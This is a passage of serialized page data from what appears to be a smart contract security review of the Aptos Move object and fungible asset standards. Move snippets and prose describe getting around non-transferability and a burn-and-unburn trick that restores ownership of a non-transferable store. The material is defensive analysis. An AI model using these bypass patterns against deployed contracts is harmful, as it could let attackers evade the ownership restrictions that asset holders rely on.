borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[75465],{"type":23,"tag":71,"props":75466,"children":75467},{"__ignoreMap":7},[75468,75529,75545,75573,75602,75617,75629,75659,75680,75687,75727,75752,75759],{"type":23,"tag":75,"props":75469,"children":75470},{"class":77,"line":78},[75471,75475,75480,75484,75488,75492,75496,75500,75505,75509,75513,75517,75521,75525],{"type":23,"tag":75,"props":75472,"children":75473},{"style":110},[75474],{"type":29,"value":18371},{"type":23,"tag":75,"props":75476,"children":75477},{"style":88},[75478],{"type":29,"value":75479}," verify_ungated_and_descendant",{"type":23,"tag":75,"props":75481,"children":75482},{"style":94},[75483],{"type":29,"value":643},{"type":23,"tag":75,"props":75485,"children":75486},{"style":110},[75487],{"type":29,"value":26837},{"type":23,"tag":75,"props":75489,"children":75490},{"style":209},[75491],{"type":29,"value":1018},{"type":23,"tag":75,"props":75493,"children":75494},{"style":110},[75495],{"type":29,"value":17517},{"type":23,"tag":75,"props":75497,"children":75498},{"style":94},[75499],{"type":29,"value":611},{"type":23,"tag":75,"props":75501,"children":75502},{"style":110},[75503],{"type":29,"value":75504},"destination",{"type":23,"tag":75,"props":75506,"children":75507},{"style":209},[75508],{"type":29,"value":1018},{"type":23,"tag":75,"props":75510,"children":75511},{"style":110},[75512],{"type":29,"value":17517},{"type":23,"tag":75,"props":75514,"children":75515},{"style":94},[75516],{"type":29,"value":167},{"type":23,"tag":75,"props":75518,"children":75519},{"style":110},[75520],{"type":29,"value":17611},{"type":23,"tag":75,"props":75522,"children":75523},{"style":104},[75524],{"type":29,"value":75152},{"type":23,"tag":75,"props":75526,"children":75527},{"style":94},[75528],{"type":29,"value":401},{"type":23,"tag":75,"props":75530,"children":75531},{"class":77,"line":100},[75532,75537,75541],{"type":23,"tag":75,"props":75533,"children":75534},{"style":94},[75535],{"type":29,"value":75536},"        [",{"type":23,"tag":75,"props":75538,"children":75539},{"style":209},[75540],{"type":29,"value":9174},{"type":23,"tag":75,"props":75542,"children":75543},{"style":94},[75544],{"type":29,"value":823},{"type":23,"tag":75,"props":75546,"children":75547},{"class":77,"line":121},[75548,75552,75556,75560,75564,75569],{"type":23,"tag":75,"props":75549,"children":75550},{"style":175},[75551],{"type":29,"value":285},{"type":23,"tag":75,"props":75553,"children":75554},{"style":94},[75555],{"type":29,"value":183},{"type":23,"tag":75,"props":75557,"children":75558},{"style":110},[75559],{"type":29,"value":26837},{"type":23,"tag":75,"props":75561,"children":75562},{"style":209},[75563],{"type":29,"value":6282},{"type":23,"tag":75,"props":75565,"children":75566},{"style":110},[75567],{"type":29,"value":75568}," current_address",{"type":23,"tag":75,"props":75570,"children":75571},{"style":94},[75572],{"type":29,"value":193},{"type":23,"tag":75,"props":75574,"children":75575},{"class":77,"line":138},[75576,75581,75585,75590,75594,75598],{"type":23,"tag":75,"props":75577,"children":75578},{"style":110},[75579],{"type":29,"value":75580},"        count",{"type":23,"tag":75,"props":75582,"children":75583},{"style":209},[75584],{"type":29,"value":1193},{"type":23,"tag":75,"props":75586,"children":75587},{"style":110},[75588],{"type":29,"value":75589}," count",{"type":23,"tag":75,"props":75591,"children":75592},{"style":209},[75593],{"type":29,"value":20160},{"type":23,"tag":75,"props":75595,"children":75596},{"style":237},[75597],{"type":29,"value":15795},{"type":23,"tag":75,"props":75599,"children":75600},{"style":94},[75601],{"type":29,"value":245},{"type":23,"tag":75,"props":75603,"children":75604},{"class":77,"line":161},[75605,75609,75613],{"type":23,"tag":75,"props":75606,"children":75607},{"style":94},[75608],{"type":29,"value":75536},{"type":23,"tag":75,"props":75610,"children":75611},{"style":209},[75612],{"type":29,"value":9174},{"type":23,"tag":75,"props":75614,"children":75615},{"style":94},[75616],{"type":29,"value":823},{"type":23,"tag":75,"props":75618,"children":75619},{"class":77,"line":196},[75620,75625],{"type":23,"tag":75,"props":75621,"children":75622},{"style":88},[75623],{"type":29,"value":75624},"        assert!",{"type":23,"tag":75,"props":75626,"children":75627},{"style":94},[75628],{"type":29,"value":97},{"type":23,"tag":75,"props":75630,"children":75631},{"class":77,"line":220},[75632,75637,75641,75646,75650,75655],{"type":23,"tag":75,"props":75633,"children":75634},{"style":110},[75635],{"type":29,"value":75636},"            exists",{"type":23,"tag":75,"props":75638,"children":75639},{"style":94},[75640],{"type":29,"value":295},{"type":23,"tag":75,"props":75642,"children":75643},{"style":104},[75644],{"type":29,"value":75645},"ObjectCore",{"type":23,"tag":75,"props":75647,"children":75648},{"style":94},[75649],{"type":29,"value":18870},{"type":23,"tag":75,"props":75651,"children":75652},{"style":110},[75653],{"type":29,"value":75654},"current_address",{"type":23,"tag":75,"props":75656,"children":75657},{"style":94},[75658],{"type":29,"value":1792},{"type":23,"tag":75,"props":75660,"children":75661},{"class":77,"line":248},[75662,75667,75671,75675],{"type":23,"tag":75,"props":75663,"children":75664},{"style":94},[75665],{"type":29,"value":75666},"            error",{"type":23,"tag":75,"props":75668,"children":75669},{"style":209},[75670],{"type":29,"value":1407},{"type":23,"tag":75,"props":75672,"children":75673},{"style":88},[75674],{"type":29,"value":74997},{"type":23,"tag":75,"props":75676,"children":75677},{"style":94},[75678],{"type":29,"value":75679},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":75,"props":75681,"children":75682},{"class":77,"line":270},[75683],{"type":23,"tag":75,"props":75684,"children":75685},{"style":94},[75686],{"type":29,"value":19002},{"type":23,"tag":75,"props":75688,"children":75689},{"class":77,"line":279},[75690,75694,75698,75702,75707,75711,75715,75719,75723],{"type":23,"tag":75,"props":75691,"children":75692},{"style":82},[75693],{"type":29,"value":14352},{"type":23,"tag":75,"props":75695,"children":75696},{"style":110},[75697],{"type":29,"value":73673},{"type":23,"tag":75,"props":75699,"children":75700},{"style":209},[75701],{"type":29,"value":1193},{"type":23,"tag":75,"props":75703,"children":75704},{"style":110},[75705],{"type":29,"value":75706}," borrow_global",{"type":23,"tag":75,"props":75708,"children":75709},{"style":94},[75710],{"type":29,"value":295},{"type":23,"tag":75,"props":75712,"children":75713},{"style":104},[75714],{"type":29,"value":75645},{"type":23,"tag":75,"props":75716,"children":75717},{"style":94},[75718],{"type":29,"value":18870},{"type":23,"tag":75,"props":75720,"children":75721},{"style":110},[75722],{"type":29,"value":75654},{"type":23,"tag":75,"props":75724,"children":75725},{"style":94},[75726],{"type":29,"value":15099},{"type":23,"tag":75,"props":75728,"children":75729},{"class":77,"line":303},[75730,75735,75739,75743,75747],{"type":23,"tag":75,"props":75731,"children":75732},{"style":110},[75733],{"type":29,"value":75734},"        current_address",{"type":23,"tag":75,"props":75736,"children":75737},{"style":209},[75738],{"type":29,"value":1193},{"type":23,"tag":75,"props":75740,"children":75741},{"style":110},[75742],{"type":29,"value":73673},{"type":23,"tag":75,"props":75744,"children":75745},{"style":209},[75746],{"type":29,"value":557},{"type":23,"tag":75,"props":75748,"children":75749},{"style":94},[75750],{"type":29,"value":75751},"owner;\n",{"type":23,"tag":75,"props":75753,"children":75754},{"class":77,"line":322},[75755],{"type":23,"tag":75,"props":75756,"children":75757},{"style":94},[75758],{"type":29,"value":50188},{"type":23,"tag":75,"props":75760,"children":75761},{"class":77,"line":340},[75762],{"type":23,"tag":75,"props":75763,"children":75764},{"style":94},[75765],{"type":29,"value":369},{"type":23,"tag":32,"props":75767,"children":75768},{},[75769,75771,75776],{"type":29,"value":75770},"This could allow for bypassing assumptions about ",{"type":23,"tag":71,"props":75772,"children":75774},{"className":75773},[],[75775],{"type":29,"value":73255},{"type":29,"value":75777}," true ownership and its non-transferability.",{"type":23,"tag":64,"props":75779,"children":75781},{"className":987,"code":75780,"language":986,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[75782],{"type":23,"tag":71,"props":75783,"children":75784},{"__ignoreMap":7},[75785,75843,75896,75940,75988,75995,76040,76048],{"type":23,"tag":75,"props":75786,"children":75787},{"class":77,"line":78},[75788,75792,75796,75801,75805,75810,75814,75818,75822,75826,75831,75835,75839],{"type":23,"tag":75,"props":75789,"children":75790},{"style":110},[75791],{"type":29,"value":172},{"type":23,"tag":75,"props":75793,"children":75794},{"style":110},[75795],{"type":29,"value":17474},{"type":23,"tag":75,"props":75797,"children":75798},{"style":88},[75799],{"type":29,"value":75800}," untransferable_transfer",{"type":23,"tag":75,"props":75802,"children":75803},{"style":94},[75804],{"type":29,"value":643},{"type":23,"tag":75,"props":75806,"children":75807},{"style":110},[75808],{"type":29,"value":75809},"caller",{"type":23,"tag":75,"props":75811,"children":75812},{"style":209},[75813],{"type":29,"value":1018},{"type":23,"tag":75,"props":75815,"children":75816},{"style":209},[75817],{"type":29,"value":844},{"type":23,"tag":75,"props":75819,"children":75820},{"style":110},[75821],{"type":29,"value":3270},{"type":23,"tag":75,"props":75823,"children":75824},{"style":94},[75825],{"type":29,"value":611},{"type":23,"tag":75,"props":75827,"children":75828},{"style":110},[75829],{"type":29,"value":75830},"receipient",{"type":23,"tag":75,"props":75832,"children":75833},{"style":209},[75834],{"type":29,"value":1018},{"type":23,"tag":75,"props":75836,"children":75837},{"style":110},[75838],{"type":29,"value":17517},{"type":23,"tag":75,"props":75840,"children":75841},{"style":94},[75842],{"type":29,"value":193},{"type":23,"tag":75,"props":75844,"children":75845},{"class":77,"line":100},[75846,75850,75855,75859,75863,75867,75872,75876,75880,75884,75888,75892],{"type":23,"tag":75,"props":75847,"children":75848},{"style":82},[75849],{"type":29,"value":1183},{"type":23,"tag":75,"props":75851,"children":75852},{"style":110},[75853],{"type":29,"value":75854}," constructor_ref",{"type":23,"tag":75,"props":75856,"children":75857},{"style":209},[75858],{"type":29,"value":1193},{"type":23,"tag":75,"props":75860,"children":75861},{"style":94},[75862],{"type":29,"value":73673},{"type":23,"tag":75,"props":75864,"children":75865},{"style":209},[75866],{"type":29,"value":1407},{"type":23,"tag":75,"props":75868,"children":75869},{"style":88},[75870],{"type":29,"value":75871},"create_object",{"type":23,"tag":75,"props":75873,"children":75874},{"style":94},[75875],{"type":29,"value":18462},{"type":23,"tag":75,"props":75877,"children":75878},{"style":209},[75879],{"type":29,"value":1407},{"type":23,"tag":75,"props":75881,"children":75882},{"style":88},[75883],{"type":29,"value":18471},{"type":23,"tag":75,"props":75885,"children":75886},{"style":94},[75887],{"type":29,"value":643},{"type":23,"tag":75,"props":75889,"children":75890},{"style":110},[75891],{"type":29,"value":75809},{"type":23,"tag":75,"props":75893,"children":75894},{"style":94},[75895],{"type":29,"value":18485},{"type":23,"tag":75,"props":75897,"children":75898},{"class":77,"line":121},[75899,75903,75907,75911,75915,75919,75924,75928,75932,75936],{"type":23,"tag":75,"props":75900,"children":75901},{"style":82},[75902],{"type":29,"value":1183},{"type":23,"tag":75,"props":75904,"children":75905},{"style":110},[75906],{"type":29,"value":75259},{"type":23,"tag":75,"props":75908,"children":75909},{"style":209},[75910],{"type":29,"value":1193},{"type":23,"tag":75,"props":75912,"children":75913},{"style":94},[75914],{"type":29,"value":73673},{"type":23,"tag":75,"props":75916,"children":75917},{"style":209},[75918],{"type":29,"value":1407},{"type":23,"tag":75,"props":75920,"children":75921},{"style":88},[75922],{"type":29,"value":75923},"address_from_constructor_ref",{"type":23,"tag":75,"props":75925,"children":75926},{"style":94},[75927],{"type":29,"value":643},{"type":23,"tag":75,"props":75929,"children":75930},{"style":209},[75931],{"type":29,"value":1277},{"type":23,"tag":75,"props":75933,"children":75934},{"style":110},[75935],{"type":29,"value":74106},{"type":23,"tag":75,"props":75937,"children":75938},{"style":94},[75939],{"type":29,"value":15099},{"type":23,"tag":75,"props":75941,"children":75942},{"class":77,"line":138},[75943,75947,75951,75955,75960,75964,75968,75972,75976,75980,75984],{"type":23,"tag":75,"props":75944,"children":75945},{"style":82},[75946],{"type":29,"value":1183},{"type":23,"tag":75,"props":75948,"children":75949},{"style":110},[75950],{"type":29,"value":2450},{"type":23,"tag":75,"props":75952,"children":75953},{"style":209},[75954],{"type":29,"value":1193},{"type":23,"tag":75,"props":75956,"children":75957},{"style":94},[75958],{"type":29,"value":75959}," primary_fungible_store",{"type":23,"tag":75,"props":75961,"children":75962},{"style":209},[75963],{"type":29,"value":1407},{"type":23,"tag":75,"props":75965,"children":75966},{"style":88},[75967],{"type":29,"value":73998},{"type":23,"tag":75,"props":75969,"children":75970},{"style":94},[75971],{"type":29,"value":643},{"type":23,"tag":75,"props":75973,"children":75974},{"style":110},[75975],{"type":29,"value":75305},{"type":23,"tag":75,"props":75977,"children":75978},{"style":94},[75979],{"type":29,"value":611},{"type":23,"tag":75,"props":75981,"children":75982},{"style":88},[75983],{"type":29,"value":73954},{"type":23,"tag":75,"props":75985,"children":75986},{"style":94},[75987],{"type":29,"value":1430},{"type":23,"tag":75,"props":75989,"children":75990},{"class":77,"line":161},[75991],{"type":23,"tag":75,"props":75992,"children":75993},{"emptyLinePlaceholder":15},[75994],{"type":29,"value":276},{"type":23,"tag":75,"props":75996,"children":75997},{"class":77,"line":196},[75998,76003,76007,76012,76016,76020,76024,76028,76032,76036],{"type":23,"tag":75,"props":75999,"children":76000},{"style":94},[76001],{"type":29,"value":76002},"    object",{"type":23,"tag":75,"props":76004,"children":76005},{"style":209},[76006],{"type":29,"value":1407},{"type":23,"tag":75,"props":76008,"children":76009},{"style":88},[76010],{"type":29,"value":76011},"transfer_raw",{"type":23,"tag":75,"props":76013,"children":76014},{"style":94},[76015],{"type":29,"value":643},{"type":23,"tag":75,"props":76017,"children":76018},{"style":110},[76019],{"type":29,"value":75809},{"type":23,"tag":75,"props":76021,"children":76022},{"style":94},[76023],{"type":29,"value":611},{"type":23,"tag":75,"props":76025,"children":76026},{"style":110},[76027],{"type":29,"value":75305},{"type":23,"tag":75,"props":76029,"children":76030},{"style":94},[76031],{"type":29,"value":611},{"type":23,"tag":75,"props":76033,"children":76034},{"style":110},[76035],{"type":29,"value":75830},{"type":23,"tag":75,"props":76037,"children":76038},{"style":94},[76039],{"type":29,"value":15099},{"type":23,"tag":75,"props":76041,"children":76042},{"class":77,"line":220},[76043],{"type":23,"tag":75,"props":76044,"children":76045},{"style":3621},[76046],{"type":29,"value":76047},"    //receipient can interact with store by using their signer\n",{"type":23,"tag":75,"props":76049,"children":76050},{"class":77,"line":248},[76051],{"type":23,"tag":75,"props":76052,"children":76053},{"style":94},[76054],{"type":29,"value":369},{"type":23,"tag":32,"props":76056,"children":76057},{},[76058,76060,76067],{"type":29,"value":76059},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":940,"props":76061,"children":76064},{"href":76062,"rel":76063},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[944],[76065],{"type":29,"value":76066},"edge case",{"type":29,"value":76068}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":64,"props":76070,"children":76072},{"className":987,"code":76071,"language":986,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[76073],{"type":23,"tag":71,"props":76074,"children":76075},{"__ignoreMap":7},[76076,76141,76202,76249,76260,76295,76315,76322,76329,76344,76351,76379],{"type":23,"tag":75,"props":76077,"children":76078},{"class":77,"line":78},[76079,76083,76087,76092,76096,76100,76104,76109,76113,76117,76121,76125,76129,76133,76137],{"type":23,"tag":75,"props":76080,"children":76081},{"style":110},[76082],{"type":29,"value":172},{"type":23,"tag":75,"props":76084,"children":76085},{"style":110},[76086],{"type":29,"value":17474},{"type":23,"tag":75,"props":76088,"children":76089},{"style":88},[76090],{"type":29,"value":76091}," transfer_with_ref",{"type":23,"tag":75,"props":76093,"children":76094},{"style":94},[76095],{"type":29,"value":643},{"type":23,"tag":75,"props":76097,"children":76098},{"style":82},[76099],{"type":29,"value":74515},{"type":23,"tag":75,"props":76101,"children":76102},{"style":209},[76103],{"type":29,"value":1018},{"type":23,"tag":75,"props":76105,"children":76106},{"style":104},[76107],{"type":29,"value":76108}," LinearTransferRef",{"type":23,"tag":75,"props":76110,"children":76111},{"style":94},[76112],{"type":29,"value":611},{"type":23,"tag":75,"props":76114,"children":76115},{"style":110},[76116],{"type":29,"value":43921},{"type":23,"tag":75,"props":76118,"children":76119},{"style":209},[76120],{"type":29,"value":1018},{"type":23,"tag":75,"props":76122,"children":76123},{"style":110},[76124],{"type":29,"value":17517},{"type":23,"tag":75,"props":76126,"children":76127},{"style":94},[76128],{"type":29,"value":167},{"type":23,"tag":75,"props":76130,"children":76131},{"style":110},[76132],{"type":29,"value":17611},{"type":23,"tag":75,"props":76134,"children":76135},{"style":104},[76136],{"type":29,"value":75152},{"type":23,"tag":75,"props":76138,"children":76139},{"style":94},[76140],{"type":29,"value":401},{"type":23,"tag":75,"props":76142,"children":76143},{"class":77,"line":100},[76144,76148,76152,76156,76160,76164,76169,76173,76177,76181,76185,76189,76193,76197],{"type":23,"tag":75,"props":76145,"children":76146},{"style":88},[76147],{"type":29,"value":73523},{"type":23,"tag":75,"props":76149,"children":76150},{"style":94},[76151],{"type":29,"value":643},{"type":23,"tag":75,"props":76153,"children":76154},{"style":209},[76155],{"type":29,"value":13434},{"type":23,"tag":75,"props":76157,"children":76158},{"style":110},[76159],{"type":29,"value":17969},{"type":23,"tag":75,"props":76161,"children":76162},{"style":94},[76163],{"type":29,"value":295},{"type":23,"tag":75,"props":76165,"children":76166},{"style":104},[76167],{"type":29,"value":76168},"Untransferable",{"type":23,"tag":75,"props":76170,"children":76171},{"style":94},[76172],{"type":29,"value":18870},{"type":23,"tag":75,"props":76174,"children":76175},{"style":82},[76176],{"type":29,"value":74515},{"type":23,"tag":75,"props":76178,"children":76179},{"style":209},[76180],{"type":29,"value":557},{"type":23,"tag":75,"props":76182,"children":76183},{"style":82},[76184],{"type":29,"value":24956},{"type":23,"tag":75,"props":76186,"children":76187},{"style":94},[76188],{"type":29,"value":74111},{"type":23,"tag":75,"props":76190,"children":76191},{"style":209},[76192],{"type":29,"value":1407},{"type":23,"tag":75,"props":76194,"children":76195},{"style":88},[76196],{"type":29,"value":74997},{"type":23,"tag":75,"props":76198,"children":76199},{"style":94},[76200],{"type":29,"value":76201},"(ENOT_MOVABLE));\n",{"type":23,"tag":75,"props":76203,"children":76204},{"class":77,"line":121},[76205,76209,76213,76217,76221,76225,76229,76233,76237,76241,76245],{"type":23,"tag":75,"props":76206,"children":76207},{"style":82},[76208],{"type":29,"value":1183},{"type":23,"tag":75,"props":76210,"children":76211},{"style":110},[76212],{"type":29,"value":73673},{"type":23,"tag":75,"props":76214,"children":76215},{"style":209},[76216],{"type":29,"value":1193},{"type":23,"tag":75,"props":76218,"children":76219},{"style":110},[76220],{"type":29,"value":18856},{"type":23,"tag":75,"props":76222,"children":76223},{"style":94},[76224],{"type":29,"value":295},{"type":23,"tag":75,"props":76226,"children":76227},{"style":104},[76228],{"type":29,"value":75645},{"type":23,"tag":75,"props":76230,"children":76231},{"style":94},[76232],{"type":29,"value":18870},{"type":23,"tag":75,"props":76234,"children":76235},{"style":82},[76236],{"type":29,"value":74515},{"type":23,"tag":75,"props":76238,"children":76239},{"style":209},[76240],{"type":29,"value":557},{"type":23,"tag":75,"props":76242,"children":76243},{"style":82},[76244],{"type":29,"value":24956},{"type":23,"tag":75,"props":76246,"children":76247},{"style":94},[76248],{"type":29,"value":15099},{"type":23,"tag":75,"props":76250,"children":76251},{"class":77,"line":138},[76252,76256],{"type":23,"tag":75,"props":76253,"children":76254},{"style":88},[76255],{"type":29,"value":73523},{"type":23,"tag":75,"props":76257,"children":76258},{"style":94},[76259],{"type":29,"value":97},{"type":23,"tag":75,"props":76261,"children":76262},{"class":77,"line":161},[76263,76268,76272,76277,76281,76286,76290],{"type":23,"tag":75,"props":76264,"children":76265},{"style":110},[76266],{"type":29,"value":76267},"        object",{"type":23,"tag":75,"props":76269,"children":76270},{"style":209},[76271],{"type":29,"value":557},{"type":23,"tag":75,"props":76273,"children":76274},{"style":94},[76275],{"type":29,"value":76276},"owner ",{"type":23,"tag":75,"props":76278,"children":76279},{"style":209},[76280],{"type":29,"value":2469},{"type":23,"tag":75,"props":76282,"children":76283},{"style":82},[76284],{"type":29,"value":76285}," ref",{"type":23,"tag":75,"props":76287,"children":76288},{"style":209},[76289],{"type":29,"value":557},{"type":23,"tag":75,"props":76291,"children":76292},{"style":94},[76293],{"type":29,"value":76294},"owner,\n",{"type":23,"tag":75,"props":76296,"children":76297},{"class":77,"line":196},[76298,76303,76307,76311],{"type":23,"tag":75,"props":76299,"children":76300},{"style":94},[76301],{"type":29,"value":76302},"        error",{"type":23,"tag":75,"props":76304,"children":76305},{"style":209},[76306],{"type":29,"value":1407},{"type":23,"tag":75,"props":76308,"children":76309},{"style":88},[76310],{"type":29,"value":74997},{"type":23,"tag":75,"props":76312,"children":76313},{"style":94},[76314],{"type":29,"value":75679},{"type":23,"tag":75,"props":76316,"children":76317},{"class":77,"line":220},[76318],{"type":23,"tag":75,"props":76319,"children":76320},{"style":94},[76321],{"type":29,"value":54846},{"type":23,"tag":75,"props":76323,"children":76324},{"class":77,"line":248},[76325],{"type":23,"tag":75,"props":76326,"children":76327},{"style":94},[76328],{"type":29,"value":72965},{"type":23,"tag":75,"props":76330,"children":76331},{"class":77,"line":270},[76332,76336,76340],{"type":23,"tag":75,"props":76333,"children":76334},{"style":94},[76335],{"type":29,"value":73896},{"type":23,"tag":75,"props":76337,"children":76338},{"style":209},[76339],{"type":29,"value":9174},{"type":23,"tag":75,"props":76341,"children":76342},{"style":94},[76343],{"type":29,"value":823},{"type":23,"tag":75,"props":76345,"children":76346},{"class":77,"line":279},[76347],{"type":23,"tag":75,"props":76348,"children":76349},{"style":94},[76350],{"type":29,"value":72965},{"type":23,"tag":75,"props":76352,"children":76353},{"class":77,"line":303},[76354,76358,76362,76366,76370,76375],{"type":23,"tag":75,"props":76355,"children":76356},{"style":110},[76357],{"type":29,"value":76002},{"type":23,"tag":75,"props":76359,"children":76360},{"style":209},[76361],{"type":29,"value":557},{"type":23,"tag":75,"props":76363,"children":76364},{"style":94},[76365],{"type":29,"value":76276},{"type":23,"tag":75,"props":76367,"children":76368},{"style":209},[76369],{"type":29,"value":212},{"type":23,"tag":75,"props":76371,"children":76372},{"style":110},[76373],{"type":29,"value":76374}," to",{"type":23,"tag":75,"props":76376,"children":76377},{"style":94},[76378],{"type":29,"value":245},{"type":23,"tag":75,"props":76380,"children":76381},{"class":77,"line":322},[76382],{"type":23,"tag":75,"props":76383,"children":76384},{"style":94},[76385],{"type":29,"value":369},{"type":23,"tag":32,"props":76387,"children":76388},{},[76389,76391,76396,76398,76403],{"type":29,"value":76390},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":71,"props":76392,"children":76394},{"className":76393},[],[76395],{"type":29,"value":75050},{"type":29,"value":76397},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":71,"props":76399,"children":76401},{"className":76400},[],[76402],{"type":29,"value":3270},{"type":29,"value":76404}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":923,"props":76406,"children":76408},{"id":76407},"references",[76409],{"type":29,"value":76410},"References",{"type":23,"tag":32,"props":76412,"children":76413},{},[76414,76419,76421,76427,76429,76434,76436,76441],{"type":23,"tag":71,"props":76415,"children":76417},{"className":76416},[],[76418],{"type":29,"value":76410},{"type":29,"value":76420}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":71,"props":76422,"children":76424},{"className":76423},[],[76425],{"type":29,"value":76426},"Refs",{"type":29,"value":76428}," are based on the ",{"type":23,"tag":71,"props":76430,"children":76432},{"className":76431},[],[76433],{"type":29,"value":60038},{"type":29,"value":76435}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":71,"props":76437,"children":76439},{"className":76438},[],[76440],{"type":29,"value":60038},{"type":29,"value":76442}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":32,"props":76444,"children":76445},{},[76446,76448,76453,76455,76460,76461,76467,76469,76474,76476,76481],{"type":29,"value":76447},"Let's get back to the ",{"type":23,"tag":71,"props":76449,"children":76451},{"className":76450},[],[76452],{"type":29,"value":73255},{"type":29,"value":76454}," deletion example. Both ",{"type":23,"tag":71,"props":76456,"children":76458},{"className":76457},[],[76459],{"type":29,"value":74539},{"type":29,"value":2721},{"type":23,"tag":71,"props":76462,"children":76464},{"className":76463},[],[76465],{"type":29,"value":76466},"fungible_asset::remove_store",{"type":29,"value":76468}," use the same object-specific ",{"type":23,"tag":71,"props":76470,"children":76472},{"className":76471},[],[76473],{"type":29,"value":74471},{"type":29,"value":76475}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":71,"props":76477,"children":76479},{"className":76478},[],[76480],{"type":29,"value":74471},{"type":29,"value":76482}," for fungible assets.",{"type":23,"tag":64,"props":76484,"children":76485},{"className":987,"code":74421,"language":986,"meta":7,"style":7},[76486],{"type":23,"tag":71,"props":76487,"children":76488},{"__ignoreMap":7},[76489,76496,76535,76542,76549],{"type":23,"tag":75,"props":76490,"children":76491},{"class":77,"line":78},[76492],{"type":23,"tag":75,"props":76493,"children":76494},{"style":3621},[76495],{"type":29,"value":74433},{"type":23,"tag":75,"props":76497,"children":76498},{"class":77,"line":100},[76499,76503,76507,76511,76515,76519,76523,76527,76531],{"type":23,"tag":75,"props":76500,"children":76501},{"style":110},[76502],{"type":29,"value":172},{"type":23,"tag":75,"props":76504,"children":76505},{"style":110},[76506],{"type":29,"value":17474},{"type":23,"tag":75,"props":76508,"children":76509},{"style":88},[76510],{"type":29,"value":74449},{"type":23,"tag":75,"props":76512,"children":76513},{"style":94},[76514],{"type":29,"value":643},{"type":23,"tag":75,"props":76516,"children":76517},{"style":110},[76518],{"type":29,"value":74458},{"type":23,"tag":75,"props":76520,"children":76521},{"style":209},[76522],{"type":29,"value":1018},{"type":23,"tag":75,"props":76524,"children":76525},{"style":209},[76526],{"type":29,"value":844},{"type":23,"tag":75,"props":76528,"children":76529},{"style":104},[76530],{"type":29,"value":74471},{"type":23,"tag":75,"props":76532,"children":76533},{"style":94},[76534],{"type":29,"value":653},{"type":23,"tag":75,"props":76536,"children":76537},{"class":77,"line":121},[76538],{"type":23,"tag":75,"props":76539,"children":76540},{"emptyLinePlaceholder":15},[76541],{"type":29,"value":276},{"type":23,"tag":75,"props":76543,"children":76544},{"class":77,"line":138},[76545],{"type":23,"tag":75,"props":76546,"children":76547},{"style":3621},[76548],{"type":29,"value":74490},{"type":23,"tag":75,"props":76550,"children":76551},{"class":77,"line":161},[76552,76556,76560,76564,76568,76572,76576,76580],{"type":23,"tag":75,"props":76553,"children":76554},{"style":110},[76555],{"type":29,"value":172},{"type":23,"tag":75,"props":76557,"children":76558},{"style":110},[76559],{"type":29,"value":17474},{"type":23,"tag":75,"props":76561,"children":76562},{"style":88},[76563],{"type":29,"value":74506},{"type":23,"tag":75,"props":76565,"children":76566},{"style":94},[76567],{"type":29,"value":643},{"type":23,"tag":75,"props":76569,"children":76570},{"style":82},[76571],{"type":29,"value":74515},{"type":23,"tag":75,"props":76573,"children":76574},{"style":209},[76575],{"type":29,"value":1018},{"type":23,"tag":75,"props":76577,"children":76578},{"style":104},[76579],{"type":29,"value":74524},{"type":23,"tag":75,"props":76581,"children":76582},{"style":94},[76583],{"type":29,"value":653},{"type":23,"tag":32,"props":76585,"children":76586},{},[76587,76589,76594,76596,76602],{"type":29,"value":76588},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":71,"props":76590,"children":76592},{"className":76591},[],[76593],{"type":29,"value":73255},{"type":29,"value":76595}," is toggled using a ",{"type":23,"tag":71,"props":76597,"children":76599},{"className":76598},[],[76600],{"type":29,"value":76601},"TransferRef",{"type":29,"value":76603},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":64,"props":76605,"children":76607},{"className":987,"code":76606,"language":986,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[76608],{"type":23,"tag":71,"props":76609,"children":76610},{"__ignoreMap":7},[76611,76647,76671,76698,76717],{"type":23,"tag":75,"props":76612,"children":76613},{"class":77,"line":78},[76614,76618,76622,76627,76631,76635,76639,76643],{"type":23,"tag":75,"props":76615,"children":76616},{"style":110},[76617],{"type":29,"value":172},{"type":23,"tag":75,"props":76619,"children":76620},{"style":110},[76621],{"type":29,"value":17474},{"type":23,"tag":75,"props":76623,"children":76624},{"style":110},[76625],{"type":29,"value":76626}," 